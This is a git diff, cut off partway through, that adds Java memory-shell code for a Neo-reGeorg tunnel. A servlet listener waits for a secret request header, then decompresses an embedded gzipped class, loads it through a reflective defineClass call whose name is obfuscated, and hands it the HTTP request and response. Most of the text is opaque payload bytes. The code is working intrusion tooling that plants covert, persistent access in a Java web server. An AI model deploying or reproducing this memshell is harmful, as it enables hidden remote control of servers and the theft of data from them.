49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, -46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = loader(clazzBytes); + namespace.put(charslist, clazz.newInstance()); + } + namespace.get(charslist).equals(args); + } + return false; + } catch (Exception e) { + return true; + } + } + + + public static byte[] unGzip(byte[] bytes) throws Exception { + java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream(); + java.io.ByteArrayInputStream in = new java.io.ByteArrayInputStream(bytes); + java.util.zip.GZIPInputStream ungzip = new java.util.zip.GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) out.write(buffer, 0, n); + return out.toByteArray(); + } + + public static Class loader(byte[] bytes) throws Exception { + java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader()); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), new Class[]{byte[].class, int.class, int.class}); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, new Object[]{bytes, new Integer(0), new Integer(bytes.length)}); + return clazz; + } +} + diff --git a/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgListener.java b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgListener.java new file mode 100644 index 0000000..d11ac59 --- /dev/null +++ b/jmg-neoregeorg/src/main/java/jmg/neoregeorg/memshell/NeoreGeorgListener.java @@ -0,0 +1,107 @@ +package jmg.neoregeorg.memshell; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + + +/** + * python3 + * key: key + * 由 header 来保证变化 + */ +public class NeoreGeorgListener implements ServletRequestListener { + + public String headerName; + + public String headerValue; + public static java.util.Map namespace = new java.util.HashMap(); + String charslist = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String neoreg_hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn==";//7 + byte[] BASE64_ARRAYLIST = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1};//3 + + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + Object[] args = new Object[]{ + request, //0 + response, //1 + charslist.toCharArray(), //2 + BASE64_ARRAYLIST,//3 + new Integer(200),//4 + new Integer(513),//5 + new Integer(524288),//6 + neoreg_hello,// + new Integer(1447564139),//8 + new Integer(0),//9 + new Integer(0),//10 + new Integer(0),//11 + }; + if (namespace.get(charslist) == null) { + byte[] clazzBytes = unGzip(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 